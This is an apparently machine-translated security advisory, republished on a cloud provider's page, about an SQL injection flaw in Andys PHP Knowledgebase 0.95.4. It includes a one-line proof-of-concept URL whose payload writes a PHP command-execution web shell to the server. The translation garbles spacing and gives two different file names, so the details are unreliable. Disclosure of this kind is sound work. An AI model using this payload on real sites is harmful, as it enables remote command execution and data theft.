Andy & amp; #39; s PHP Knowledgebase 0.95.4 SQL injection vulnerability and repair

Source: Internet
Author: User

Andys PHP Knowledgebase is a knowledge management system. The mongogen. PHP file in Andys PHP Knowledgebase 0.95.4 has the SQL injection vulnerability, which may cause sensitive information leakage.

[+] Info:
~~~~~~~~~

Software ...... .......... Andys PHP Knowledgebase Project 0.95.4
Vulnerability ...... SQL Injection
Threat Level ...... Critical (4/5)
Download ...... http://www.aphpkb.org/
Discovery Date ......
Tested On...
------------------------------------------------------------------------
Author ...... AutoSec Tools
Site ...... http://www.autosectools.com/
Email ........................ John Leitch <john@autosectools.com>
 
[+] Poc:
~~~~~~~~~

A SQL injection vulnerability can be used to extract arbitrary data.
In some environments it may be possible to create a PHP shell.
-- PoC --
Localhost/aphpkb/plugins/pdfClasses/pdfgen. php? Pdfa = and % 201 = 0% 20 UNION % 20 SELECT % 20 <? Php % 20 system ($ _ GET ["CMD"]); % 20?>, % 20 FROM % 20 dual % 20 INTO % 20 OUTFILE % 20 ../htdocs/shell. php; % 23

Fix: Filter pdfgen. php

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.